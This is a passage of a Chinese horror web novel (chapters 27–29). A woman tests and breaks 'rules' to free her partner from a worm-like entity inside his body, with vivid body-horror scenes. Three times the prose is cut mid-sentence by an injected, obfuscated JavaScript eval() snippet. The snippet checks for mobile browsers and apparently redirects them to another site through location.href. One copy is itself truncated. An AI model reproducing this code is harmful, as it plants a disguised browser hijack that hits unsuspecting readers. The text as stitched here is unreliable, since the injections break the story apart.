车开动了。 她看着他的侧脸。 阳光从车窗照进来，落在他脸上。 那张脸，和三年前一样。 还是高挺的鼻梁，微凸的嘴，连成一片的下巴。 但眼神不一样了。 三年前，他看她的眼神是暖的。 现在，是空的。 八 商场很大，周末人很多。 陈默挽着王志强的胳膊，走在人群里。 她故意走得很慢，在每个有镜子的地方都停下来。 一楼的化妆品柜台，有巨大的镜子。 她站在镜子前，假装看口红。 王志强站在她旁边。 她从镜子里看他的反应。 他没看镜子。 他的眼睛看着别处，看着柜台里的商品，看着路过的人，就是没看镜子里的自己。 “这个颜色好看吗？”她拿起一支口红，问他。 他低头看了一眼。 “好看。” 她拿着口红，对着镜子，涂在嘴唇上。 镜子里的她，嘴唇变红了。 镜子里的他，站在她旁边，眼睛看着她的脸，但没看镜子。 她突然想起，三年前他也陪她买过口红。 那时候他会认真看，说这个颜色显白，那个颜色不适合你。 还会在她涂完之后，亲一下她的额头。 现在他只是说“好看”。 两个字。 和说“吃饭”“睡觉”一样的语气。 九 她放下口红，又拿起一支。 “这个呢？” “好看。” 她又涂。 他继续看她的脸。 还是没看镜子。 她换了个柜台。 又有镜子。 她试粉底。 他站在旁边，眼睛看着她的脸。 没看镜子。 她试眼影。 他站在旁边，眼睛看着她的脸。 没看镜子。 她试腮红。 他站在旁边，眼睛看着她的脸。 没看镜子。 陈默把东西放下，挽着他继续走。 她有点急了。 但表面上还是不动声色。 十 二楼是女装区。 试衣间外面有大镜子。 她挑了几件衣服，走进试衣间。 换好一件，走出来，站在镜子前。 “好看吗？”她问他。 他站在她身后，看着镜子里的她。 但他的眼睛，只看着她。 没看镜子里的自己。 她换了一件。 又换了一件。 再换一件。 每一次，她都站在镜子前，把他拉到自己旁边。 每一次，他都看着镜子里的她。 但镜子里的他，他从来不看。 陈默有点泄气。 她想起三年前，她也这样试过衣服。 那时候他会坐在沙发上等，她每换一件出来，他都会认真看。 “这件好看，显瘦。” “那件不行，颜色太老气。” “这件可以，买了吧。” 那时候她觉得他眼光好。 现在她知道了，他只是在扮演一个“男朋友”。 十一 走到楼梯口的时候，陈默停住了。 三楼是男装区。 她突然有了主意。 “我们去三楼看看吧。”她说。 王志强看着她。 “三楼？” “嗯。给你买几件衣服。” 他摇头。 “不用，我有。” “你那件夹克都穿三年了。”她说，“买件新的。” 他看着她，没说话。 她拉着他的手，往三楼走。 十二 三楼是男装区，人少了很多。 陈默拉着他，一家一家地逛。 她挑了一件衬衫，在他身上比了比。 “这件好看。” 他又摇头。 “不用。” “试试嘛。” 她把他推进试衣间。 十三 陈默站在外面等。 试衣间的门关着。 她盯着那扇门，心跳有点快。 她知道，接下来是关键。 如果他出来的时候，不看镜子—— 如果他出来的时候，像以前一样，只看她，不看自己—— 那她就需要想别的办法。 但如果他看了—— 她突然想起一件事。 三年前，她也陪他买过衣服。 那时候他很配合，试了一件又一件，还会问她好不好看。 她记得有一件深蓝色的夹克，他穿上特别精神。 她让他买，他说太贵了，不买。 后来她偷偷买了，送给他当生日礼物。 他收到的时候，眼睛都亮了。 那是她见过他最高兴的样子。 那件夹克，他现在还穿着。 袖口磨白了，他也没扔。 十四 门开了。 他走出来，穿着那件衬衫。 蓝色的，挺合身。 她拉着他走到镜子前。 “好看吗？”她问。 他站在镜子前，看着镜子里的自己。 一秒。 两秒。 三秒。 他的眼睛，在镜子里和镜子外的自己对上了。 就一秒。 然后他移开了。 “还行。”他说。 他转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387639|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身，走进试衣间，把衬衫换下来。 陈默站在镜子前，看着他的背影。 他看镜子了。 就一秒。 但那一眼，她看见了。 他在看自己。 十五 回家的路上，陈默一直观察他。 他坐在副驾驶，看着窗外，没说话。 和平时一样。 但她注意到一个细节。 他的手，放在腿上。 在抖。 很轻微。 但她看见了。 他在害怕。 害怕什么？ 害怕自己变了？ 还是害怕她？ 她不知道。 但她知道，第二条破了。 十六 那天晚上，王志强很早就睡了。 陈默躺在床上，听着他的呼吸。 他睡着，呼吸均匀。 和平时一样。 但她知道，不一样了。 她转过头，看着他的侧脸。 月光从窗帘缝里漏进来，照在他脸上。 那张脸，很平静。 但她盯着看的时候，发现他的眼皮在动。 眼球在眼皮底下转。 他在做梦？ 还是醒着？ 她不知道。 她只是盯着那张脸，看了很久。 她想起三年前，她也是这样看着他的。 那时候他睡着的样子，她怎么看都看不腻。 她觉得自己是全世界最幸福的女人。 现在她躺在他旁边，想的却是怎么让他消失。 十七 凌晨两点，陈默醒了。 她不知道自己什么时候睡着的。 睁开眼，屋里一片漆黑。 她躺着，没动。 然后她感觉到，有人在看她。 那种感觉，很强烈。 就像有一双眼睛，在黑暗里盯着她。 她慢慢转过头。 王志强躺在她旁边，睁着眼。 那两只眼睛，在黑暗里，发着光。 盯着她。 不知道盯了多久。 陈默屏住呼吸。 他没动。 她也没动。 两个人就这么对视着。 过了很久——可能是几秒，可能是几分钟——他眨了眨眼。 那两只眼睛的光，暗了一点。 “陈默。”他开口。 声音沙哑。 是清醒的他。 十八 她坐起来。 “你又回来了？” 他点头。 “几分钟。” 他伸出手，放在她脸上。 那只手，是温的。 “第二条破了。”他说。 她看着他。 “还有三条。” “第三条是什么？” “不能开灯睡觉。” 她记下了。 “第四条你已经破了。” 她点头。 “第五条呢？” 他摇头。 “不能说。说了它就知道。” “那怎么办？” 他看着她的眼睛。 “你会找到的。” 他的眼睛开始闪烁。 光在亮。 “陈默，你听我说。”他语速很快，“第三条很难破。你开灯的时候，会看见我真正的样子。会很可怕。你要做好准备。” 她愣住。 “什么样子？” “就是……那个样子。”他苦笑了一下，“你见过一点。洗澡之后，那些虫子。开灯的时候，会比那更可怕。” 她看着他。 “我不怕。” 他笑了。 那个笑，是真的。 “你比我想象的勇敢。” 他的眼睛越来越亮。 “陈默，我——” 话没说完。 光完全亮了。 他闭上眼。 再睁开的时候，那双眼睛，又变回空洞的了。 他看着她。 笑了一下。 “怎么了？” 陈默摇摇头。 “没事。” 他躺回去，继续睡。 十九 陈默坐在黑暗里，看着他。 第三条：不能开灯睡觉。 她想起他的话。 “会很可怕。” 能有多可怕？ 她见过那些虫子了。 她见过他眼睛发光了。 她见过他站在黑暗里盯着她了。 还能有多可怕？ 她不知道。 但她知道，她必须做。 为了三年前那个会逗她笑的他。 为了那个收到她送的夹克会眼睛发亮的他。 为了那个曾经爱过她的人。 如果他还在，他一定也希望她这样做。 二十 她躺下来，盯着天花板。 窗外的路灯透进来一点光，在天花板上照出一小块亮。 她盯着那块亮。 脑子里想着明天的事。 明天，她要开灯。 她要看看他真正的样子。 她不知道会看见什么。 但她不会怕。 因为她已经没有退路了。 --- 第二十七章完 28. 第二十八章 我看见了 第二十八章我看见了 一 第二条规则破了之后，陈默等了三天。 不是不想继续，是不敢。 王志强清醒时说的那句话，一直在她脑子里转。 “第三条很难破。你开灯的时候，会看见我真正的样子。会很可怕。” 很可怕。 能有多可怕？ 她见过那些虫子了。 她见过他眼睛发光了。 她见过他站在黑暗里盯着她了。 还能有多可怕？ 但她还是怕。 不是怕看见什么。 是怕看见之后，就回不去了。 就像老张。 老张回头了，看见了什么，然后就消失了。 她会消失吗？ 她不知道。 二 这三天里，陈默想了很多事。 她想起三年前第一次见到王志强的时候。 那时候她刚调到这个网点不久，人生地不熟，每天下班都是一个人回家。那天她加班到很晚，走出银行大门的时候，天已经黑透了。她站在门口，看着空荡荡的街，不知道该怎么回去——地铁已经停了，打车要花很多钱。 然后一辆黑色奔驰停在她面前。 车窗摇下来，露出一张陌生的脸。 四十来岁，发福，普通。 “姑娘，这么晚一个人？”他问。 她往后退了一步。 他笑了，那个笑很温和。 “别怕，我不是坏人。我看你站这儿好一会儿了，是不是回不去了？我送你吧。” 她犹豫了很久。 最后还是上了车。 那是他们第一次见面。 后来她才知道，他那天是来银行办事的，碰巧看见她一个人站在那儿。他等了她半小时，看她一直没走，才开过去问的。 她问他：“你为什么等我半小时？” 他笑，说：“怕你出事。” 那时候她觉得，这辈子就是他了。 三 第二天，他又来了。 办完业务，站在她窗口前，问她晚上有没有空，一起吃个饭。 她答应了。 那顿饭吃了两个小时。他话很多，说他的工程，说他的朋友，说他一个人在这座城市打拼。她话很少，就听着。 吃完饭他送她回家，到她楼下，说：“明天还能见你吗？” 她点头。 后来就天天见了。 再后来，就在一起了。 刚在一起的时候，他对她真的很好。 她随口说一句“好久没吃火锅了”，第二天他就带她去。 她加班到很晚，他会一直在楼下等，从来不发火。 她心情不好，他会逗她笑，说那些一点都不好笑的冷笑话。 她生病了，他请假照顾她，喂她吃药，给她熬粥。 她问他：“你为什么对我这么好？” 他笑，说：“因为是你啊。” 那时候她觉得，自己是全世界最幸福的女人。 四 什么时候开始变的？ 她想了很久。 也许是那次吵架之后。 那是他们在一起一年左右的事。那天他喝多了回来，说了很难听的话。她忍不住，反驳了几句。他愣住了，然后摔门出去了。 那是他第一次夜不归宿。 第二天他回来，跟她道歉，说以后不会了。 她信了。 但之后，他回来的时间越来越晚。 说话越来越不耐烦。 看她的眼神，越来越空。 她问过他，是不是不爱她了。 他愣了一下，然后笑，说：“都老夫老妻了，说什么爱不爱的。” 她没再问。 但她知道，有什么东西变了。 五 现在她知道了。 那不是变心。 那是它来了。 它从他身体里长出来，一点一点，把他吃掉。 那些虫子，那个发光的眼睛，那个贴上去的笑——都是它。 而他，被困在里面。 偶尔才能挣扎出来几分钟。 说几句话。 看她一眼。 然后又沉回去。 六 第三天晚上，陈默做了一个梦。 梦里她回到三年前，回到他们刚在一起的时候。 他牵着她的手，走在街上，阳光很好。 她问他：“你会一直对我好吗？” 他笑，说：“会。” 她又问：“那如果我们吵架了呢？” 他说：“吵架了就吵架了呗，反正我不会走。” 她再问：“那如果你变了呢？” 他愣了一下。 “我不会变的。” 她醒了。 睁开眼，屋里一片漆黑。 王志强在旁边睡着，呼吸均匀。 她转过头，看着他的侧脸。 黑暗里，只能看见一个轮廓。 那个轮廓，和三年前一样。 她伸出手，在黑暗里，轻轻碰了碰他的脸。 凉的。 她把手收回来。 闭上眼睛。 她知道，今晚必须做了。 七 那一夜，陈默没睡。 她躺在床上，睁着眼，盯着天花板。 王志强在旁边睡着，呼吸均匀。 她在等。 等凌晨。 等他睡熟。 等那一刻。 时间过得很慢。 一分钟像一小时。 一小时像一天。 她盯着天花板，数着自己的心跳。 咚，咚，咚。 三百下。 五百下。 一千下。 她想起他说的话。 “你开灯的时候，会看见我真正的样子。会很可怕。” 真正的样子。 是什么样子？ 她见过那些虫子了。 她见过他眼睛发光了。 还能更可怕吗？ 她不知道。 但她知道，她必须看。 八 终于，窗外的路灯暗了一点。 凌晨三点。 她慢慢坐起来。 下床。 光着脚，走到卧室门口。 手放在开关上。 回头看他。 黑暗里，只能看见一个轮廓。 那个轮廓，和平时一样。 她深吸一口气。 按下去。 灯亮了。 九 灯光亮起的那一刻，她看见了。 那张脸，还是他的脸。 但皮肤底下，有东西在动。 无数的虫子。 细细的，白白的，在皮下蠕动。 从额头爬到脸颊，从脸颊爬到脖子，从脖子爬到胸口。 不止是脸。 整个身体都是。 那些虫子，密密麻麻，一层一层，在他皮肤底下钻来钻去。 它们挤在一起，扭动着，翻滚着，像一锅煮沸的水。 他的眼睛睁开了。 那两只眼睛，发着光。 盯着她。 不是愤怒。 不是恐惧。 是一种……空洞。 像在看一个东西。 她站在原地，动不了。 他慢慢坐起来。 看着她。 那些虫子从他眼角钻出来，从他鼻孔钻出来，从他耳朵钻出来。 白白的，细细的，爬满他整张脸。 它们从他嘴里爬出来，一条一条，落在他胸口，落在他腿上，落在床上。 床上已经爬满了虫子。 它们在他身下蠕动，把他托起来。 他坐在一堆虫子上，看着她。 他开口。 “你看见了。” 那个声音，不是他的。 是很多声音叠在一起。 有男的，有女的，有老的，有少的。 像无数个人在同时说话。 她往后退了一步。 他站起来。 虫子从他身上流下来，像水一样，落在地上。 他踩在虫子上，一步一步，走向她。 走到她面前。 低头看着她。 那些虫子从他身上掉下来，落在地上，往她脚边爬。 她低头看。 那些虫子，白白的，细细的，像蛆，但比蛆细。 它们爬到她脚边，停住了。 没有爬上来。 就停在脚边，围成一圈。 一圈，两圈，三圈。 把她围在中间。 像在等什么。 他伸出手。 那只手，已经不是手了。 是一团虫子。 无数的虫子，聚在一起，形成手的形状。 那团虫子，伸到她面前。 停住。 “你不怕？”那个声音问。 陈默看着那团虫子。 看着那些蠕动的、白白的、细细的东西。 她怕。 她怕得要死。 她怕得腿都在抖。 但她想起他说的话。 “你不能怕。你怕了，它就会更强。” 她深吸一口气。 “不怕。” 那团虫子顿住了。 然后，它开始颤抖。 不是害怕的颤抖。 是愤怒的颤抖。 那些虫子扭动得更厉害了，发出细细的嘶嘶声。 “你骗人。”那个声音说，“你怕。你的腿在抖。你的心跳在加快。我都听得见。” 陈默咬着牙。 “我不怕。” 那团虫子更愤怒了。 它往前伸了一点，快要碰到她的脸。 那些虫子，就在她眼前，扭动着，翻滚着。 她能闻见它们身上的味道。 那股油味。 原来是从它们身上发出来的。 “你怕。”那个声音说，“你怕死。你怕变成我们这样。你怕你也会变成它。” 陈默闭上眼睛。 脑子里全是他的声音。 “你不能怕。你怕了，它就会更强。” 她睁开眼。 看着那团虫子。 “我不怕。”她说，“因为我知道，你不是它。你只是它养出来的东西。真正的他，还在里面。” 那团虫子愣住了。 然后，它散开了。 虫子落在地上，和脚边的那些汇在一起。 他站在她面前。 那张脸，又变回他的脸了。 干干净净的。 没有虫子。 没有光。 就是一张普通的、中年男人的脸。 他看着她。 那眼神，是她熟悉的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387640|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >是清醒的他。 “第三条破了。”他说。 十 他往前迈了一步。 虫子在他脚边散开，给他让出一条路。 他走到她面前。 伸出手。 那只手，又变回手了。 温的。 放在她脸上。 “谢谢你。”他说。 她看着他。 “谢什么？” “谢谢你没怕。”他笑了，“你刚才要怕了，它就赢了。” 她愣住。 “赢了？” “它想让你怕。怕了，它就能从你身上也长出来。”他顿了顿，“但它没想到，你比我勇敢。” 她不知道该说什么。 他看着她的眼睛。 “陈默，第四条你已经破了。第五条，就是那三个字。” 她点头。 “我知道。” “破了这条，我就没了。它会消失。你会自由。” 她看着他。 “那你呢？” 他愣了一下。 “什么？” “你会怎么样？” 他笑了。 那个笑，带着苦涩。 “我会消失。彻底消失。像没存在过一样。” 她张了张嘴。 想说点什么。 但不知道说什么。 他看着她的眼睛。 “陈默，你确定要我消失吗？” 她没说话。 他继续说。 “我消失了，你就真的一个人了。没有我，没有老张，没有老人。只有你自己。” 她攥紧手指。 “你确定你准备好了吗？” 他的眼睛开始闪烁。 光在亮。 “陈默，我——” 话没说完。 光完全亮了。 他闭上眼。 再睁开的时候，那双眼睛，又变回空洞的了。 他看着她。 笑了一下。 “怎么了？” 陈默摇摇头。 “没事。” 他点点头，躺回床上。 继续睡。 十一 陈默站在那儿，看着床上的他。 灯还亮着。 他睡着，呼吸均匀。 皮肤底下，没有虫子。 就是一张普通的、中年男人的脸。 她看着那张脸，看了很久。 脑子里反复响着他最后那句话。 “你确定你准备好了吗？” 准备好了吗？ 她不知道。 她一直想要他消失。 想要自由。 想要结束这一切。 但他说，他消失了，她就真的一个人了。 没有他。 没有老张。 没有老人。 只有她自己。 她想起三年前的他。 那个会逗她笑的他。 那个会等她下班的他。 那个收到她送的夹克会眼睛发亮的他。 他还活着吗？ 还在那个身体里吗？ 还是已经彻底被它取代了？ 她不知道。 但她知道，刚才他清醒的时候，看她的眼神，和三年前一样。 那是真的他。 十二 她走到床边。 坐下。 看着他。 他睡着，像个正常人。 她伸出手，碰了碰他的脸。 凉的。 但比之前温了一点。 也许是因为灯开着。 也许是因为虫子回去了。 也许是因为别的什么。 她不知道。 她只是看着他。 看了很久。 然后她躺下来。 在他旁边。 盯着天花板。 灯还亮着。 她没有关。 她不想关。 她怕一关灯，又会看见那些发光的眼睛。 虽然她知道，它们不会再出现了。 至少今晚不会。 她盯着天花板。 脑子里反复想着那个问题。 你确定你准备好了吗？ 她不知道。 但她知道，她还有时间。 第五条规则，还没破。 她还可以再想想。 想清楚。 她闭上眼睛。 慢慢睡着了。 十三 这一夜，她没有做梦。 睡得很沉。 醒来的时候，天已经亮了。 阳光从窗帘缝里漏进来，照在床上。 她转过头。 王志强不在旁边。 她坐起来。 下床。 走到客厅。 他坐在沙发上，看电视。 和每天一样。 听见脚步声，他转过头，笑了一下。 “早。” 陈默点点头。 “早。” 她走过去，在他旁边坐下。 他伸手搂她。 她靠在他身上。 那股油味，还在。 但好像淡了一点。 也许是她的错觉。 她不知道。 她只知道，从今晚开始，她不会再怕了。 --- 第二十八章完 29. 第二十九章 再等等 第二十九章再等等 一 开灯那一夜之后，陈默又等了七天。 不是不想继续，是不敢问那句话。 最后一条规则。 那三个字。 她知道，只要问出来，他就没了。 彻底消失。 像没存在过一样。 她还没准备好。 二 这七天里，王志强越来越怪。 不是那种很明显的变化——他每天早上还是坐在沙发上看电视，每天晚上还是躺在她旁边睡觉，还是会笑一下说“回来了？”。 但细节不对。 吃饭的时候，他拿着筷子，会愣住。盯着碗里的饭，一动不动，像被按了暂停键。最长的一次，她数着，愣了三分钟。然后他突然回过神，继续吃，好像什么都没发生过。 她问他：“刚才想什么呢？” 他抬头看她，眼神空洞。 “什么刚才？” 看电视的时候，他会对着屏幕笑。但屏幕上放的明明是新闻，主持人一脸严肃地说着什么经济形势，他却笑得很大声。笑完了，转过头看她。 “怎么了？” 她摇头。 他继续看。 继续笑。 睡觉的时候，他不再躺着了。他坐着，坐在床上，背靠着床头，眼睛盯着黑暗里的某个方向。她半夜醒来，就看见那个黑影，一动不动，像个雕塑。 她不敢出声。 就那么看着。 看很久。 然后他转过头，看着她。 那双眼睛，在黑暗里，发着光。 “睡不着？”他问。 声音和平时一样。 她摇头。 “睡得着。” 他点点头。 继续坐着。 继续盯着黑暗。 三 第七天晚上，陈默做了一个决定。 她请了年休假。 五天。 她想多陪陪他。 想多看看他。 在他说那三个字之前。 四 年休假第一天。 早上醒来，阳光从窗帘缝里漏进来，照在床上。她转过头，王志强已经不在旁边了。 她坐起来，下床，走到客厅。 他坐在沙发上，看电视。和每天一样。 听见脚步声，他转过头，笑了一下。 “早。” 陈默点点头。 “早。” 她走过去，在他旁边坐下。他伸手搂她，她靠在他身上。那股油味飘进鼻子里，比之前淡了一点，但还是能闻见。 “今天不上班？”他问。 她摇头。 “休假了。五天。” 他看着她。 那眼神，有点奇怪。不是空洞，是别的什么。她看不懂。 “那你想去哪儿？”他问。 她想了想。 “去农贸市场买菜吧。好久没一起买菜了。” 他点头。 “好。” 五 农贸市场人很多，周末，到处都是拎着菜篮子的大爷大妈，推着小车的商贩，跑来跑去的小孩。 王志强牵着陈默的手，在人群里穿行。 他的手是温的。 她低头看了一眼。 那只手，骨节分明，手背上有一点老年斑。三年前还没有的。 她握紧了。 他感觉到，低头看她。 “怎么了？” 她摇头。 “没什么。” 他继续往前走。 她跟着。 六 他们先去了蔬菜区。 他拿起一把青菜，看了看，放进袋子里。又拿起几个西红柿，捏了捏，也放进去。 她站在旁边，看着他。 “你还会挑菜？”她问。 他愣了一下。 “不会。” “那你刚才在干什么？” 他看着手里的西红柿，沉默了几秒。 “不知道。” 那个“不知道”，说得太平静了。平静得让人害怕。 她没再问。 七 走到肉摊前，他停下来。 “买五花肉？” 她点头。 他跟老板要了一块，称了，付钱。 然后站在那儿，没动。 她看着他。 “怎么了？” 他看着那块肉，看了很久。 “你以前给我做过红烧肉。” 她点头。 “做过。” “好吃吗？” 她想了想。 “第一次做的时候，有点咸。但你都说好吃。” 他笑了。 那个笑，很短，就一下。 “后来呢？” “后来……”她顿了顿，“后来我就不做了。” 他看着那块肉，没说话。 然后他把肉放进袋子里，继续往前走。 八 路过卖咸菜的摊子，她停下来。 老婆婆还是那个老婆婆，穿着旧棉袄，戴着毛线帽，面前摆着几个大盆。糖蒜，萝卜干，雪里蕻。 “买点糖蒜？”他问。 她点头。 他蹲下来，和老婆婆聊起来。 “婆婆，这糖蒜怎么卖的？” “十块一斤，自己家腌的，好吃得很。” 他捡了几个，称了，付钱。 站起来的时候，看见旁边有卖橘子的。 又买了几个橘子。 她站在旁边，看着他。 他突然转过头。 “你看着我干什么？” 她愣了一下。 “没什么。” 他看着她。 那眼神，不是空洞。是别的。 “你是不是觉得我奇怪？” 她没说话。 他等了一会儿，没等到回答，转身继续往前走。 九 回到家，他钻进厨房，开始忙活。 她换了衣服，站在厨房门口看他。 他切菜，炒菜，炖汤。动作很熟练。 但她注意到一个细节。 他切菜的时候，会停下来，看着刀。 看着刀刃。 看很久。 然后继续切。 她走进去。 “怎么了？” 他看着刀。 “这把刀，我以前用过。” 她点头。 “一直在用。” 他沉默了一下。 “我不记得了。” 十 吃饭的时候，他给她夹了好多菜。 “多吃点。” 她低头吃着，没说话。 他坐在对面，自己也吃着。 阳光从窗户照进来，落在他身上，落在他脸上。 她看着那张脸。 高挺的鼻梁，微凸的嘴，连成一片的下巴。三年前就是这样，三年后还是这样。 但有什么东西不一样了。 她说不出来。 他抬起头，发现她在看他。 “怎么了？” 她摇头。 “没什么。” 他笑了。 继续吃。 十一 吃完饭，他收拾碗筷。 她坐在沙发上，听着厨房里的水声。 水哗哗响着。 然后水声停了。 她等了一会儿，他没出来。 她站起来，走到厨房门口。 他站在水槽前，没动。 水龙头开着，水哗哗流着，他站在那儿，看着水流。 她走过去，关掉水龙头。 他转过头，看着她。 那双眼睛，在厨房的灯光下，有一点发亮。 “我站在这里干什么？”他问。 她看着他。 “你在洗碗。” 他低头看自己的手。 手是湿的。 但碗还在水槽里，没洗。 十二 下午，陈默说想去公园。 他看着她。 “哪个公园？” “就以前常去的那个。” 他想了想。 “好。” 十三 公园很大，人不多。冬天的公园，树都光秃秃的，湖面结了一层薄冰。有几只野鸭在冰面上走，滑来滑去的。 他们沿着湖走。 她挽着他的胳膊。 他走得慢，她也走得慢。 走到湖对岸的时候，她停下来。 看着一块空地。 “你还记得这儿吗？”她问。 他看着那块空地，没说话。 她继续说。 “以前冬天的时候，这儿有人租爬犁子。十块钱一个小时。” 他听着。 “有一年咱们来玩，你让我坐上去，你在后面推。” 他点点头。 “记得。” 她笑了。 “你推得太猛了，自己摔了一跤，手腕窝了。” 他也笑了。 “疼死我了。” 十四 她从口袋里掏出手机，翻了一会儿。 找到了。 “你看，我还录了视频。” 她把手机递给他。 屏幕上，三年前的他坐在地上，捂着手腕，脸都皱成一团。 “疼死我了——哎哟——你倒是扶我一把啊——” 她的声音从画外传来：“你先让我笑一会儿。” “陈默你没良心——哎哟——” 她笑了很久，才过去扶他。 视频里，她扶他站起来，他还捂着手腕。 “不行不行，太疼了，得去医院。” “去什么医院，找个正骨大夫就行。” “哪有正骨大夫？” “我搜搜……附近有一个，评分挺高。” 然后画面一转，到了一个老中医的诊所。 门面很小，里面摆着几张椅子，墙上挂着一面锦旗，写着“妙手回春”。 他坐在凳子上，一个老头儿捏着他的手腕。 老头儿穿着白大褂，戴着老花镜，头发花白。 “忍着点啊。”老头儿说。 他点头。 老头儿一用力。 他嚎了一嗓子。 “啊——！” 她的笑声从画外传来，停都停不住。 老头儿也笑了。 “小伙子，你这不行啊，这点疼都忍不了？” 他脸都红了。 “不是……您轻点儿……” 老头儿继续拧。 他又嚎。 她笑得蹲在地上。 旁边等着看病的人都看着他们，有人也在笑。 老头儿拧了几下，松了手。 “好了。” 他活动了一下手腕，愣住了。 “真不疼了？” 老头儿推了推眼镜。 “我干这行四十年了，还能骗你？” 他站起来，活动着手腕，一脸不可思议。 她还在笑。 他瞪她。 “你还笑？” 她笑得说不出话，只是点头。 他走过去，用那只刚治好的手腕，一把搂住她。 “别笑了。” 她把脸埋在他胸口，还在笑。 视频结束。 十五 他盯着屏幕，看了很久。 然后他笑了。 那个笑，是真的。 “后来呢？视频怎么没了？” “后来我笑得拿不稳手机，就没录了。” 他摇头。 “你真是……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387641|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她笑。 “我怎么了？我帮你记录了珍贵的历史瞬间。” 他看着她。 “那手腕后来养了多久？” “一个月。”她说，“你天天跟我抱怨，说都怪我，非要去玩什么爬犁子。” “我说的不对吗？” “对，你说的都对。” 他笑了。 两个人站在冬天的公园里，对着手机笑。 笑完了，他把手机还给她。 看着她。 “你还留着？” 她点头。 “一直留着。” 他沉默了一下。 然后伸出手，把她搂进怀里。 她靠在他身上。 他的心跳。 咚，咚，咚。 “陈默。”他开口。 “嗯？” “谢谢你还留着。” 她没说话。 只是抱紧了他。 十六 从公园出来，天已经快黑了。 他们沿着街慢慢走。 路过一家奶茶店，她停下来。 他看着她。 “想喝？” 她点头。 他走进去，买了两杯柠檬红茶，少冰少糖。 和她的一样。 他递给她一杯。 她接过来，喝了一口。 冰的，涩的。 他看着她喝。 “好喝吗？” 她点头。 他笑了。 两个人站在奶茶店门口，喝着奶茶。 她看着他。 他的侧脸，在路灯下，很清晰。 高挺的鼻梁，微凸的嘴，连成一片的下巴。 三年前就是这样。 三年后还是这样。 但他还能这样多久？ 她不知道。 十七 晚上，他们又一起看电视。 她靠在他身上。 他搂着她。 电视里放着什么综艺节目，罐头笑声一阵一阵的。 她有点困了。 眼皮越来越沉。 他低头看她。 “困了？” 她点点头。 “睡吧。” 她闭上眼睛。 枕着他的胳膊。 他调整了一下姿势，让她枕得更舒服。 他的心跳。 咚，咚，咚。 她想起刚在一起的时候。 那时候他们也这样。 周末的下午，窝在沙发上，看电视。 看着看着她就困了。 枕着他胳膊睡觉。 一睡就是一下午。 醒来的时候，他还在看。 胳膊一直没动。 她问他：“你胳膊不麻吗？” 他笑，说：“麻。但不想动。怕吵醒你。” 现在她又枕着他的胳膊。 听着他的心跳。 闻着那股淡淡的油味。 她闭上眼睛。 十八 醒来的时候，天已经黑了。 电视还开着，放什么她不知道。 他还在看。 胳膊一直没动。 她抬起头。 “你胳膊不麻吗？” 他低头看她。 笑了。 那个笑，和以前一样。 是真的。 “麻。但不想动。怕吵醒你。” 她的眼眶酸了。 她把脸埋在他胸口。 他的心跳。 咚，咚，咚。 她想起那个冬天。 他推爬犁子摔倒了，手腕崴了，疼得大喊大叫。 她录了视频，笑得直不起腰。 后来她扶他去找正骨大夫。 老头儿一上手，他又嚎。 她又在旁边笑。 笑完了，帮他揉手腕。 他看着她，说：“疼死我了，你还笑。” 她说：“我心疼着呢。但真的好笑。” 他也笑了。 那时候她以为，他们会一直这样。 一直在一起。 一直笑。 现在她知道了。 没有什么是一直。 但她还是想多待一会儿。 多一天。 多一小时。 多一分钟。 十九 半夜，她醒了。 他不在旁边。 她坐起来，下床。 走到客厅。 他坐在沙发上。 没看电视。 就那么坐着。 盯着黑暗。 她走过去，在他旁边坐下。 他转头看她。 那双眼睛，在黑暗里，发着光。 “睡不着？”他问。 她摇头。 “醒了。” 他点点头。 两个人就这么坐着。 盯着黑暗。 很久很久。 然后她靠在他身上。 他伸手搂她。 她把脸埋在他胸口。 他的心跳。 咚，咚，咚。 “王志强。”她开口。 “嗯？” “你害怕吗？” 他没说话。 过了一会儿，他开口了。 “怕。” 她抬起头，看着他。 黑暗里，只能看见他的轮廓。 “怕什么？” 他沉默了很久。 然后他说： “怕有一天，我醒过来，发现你已经不在了。” 她的眼泪流下来了。 她把脸埋回他胸口。 他搂紧她。 两个人就这么坐着。 一直坐到天亮。 --- 第二十九章完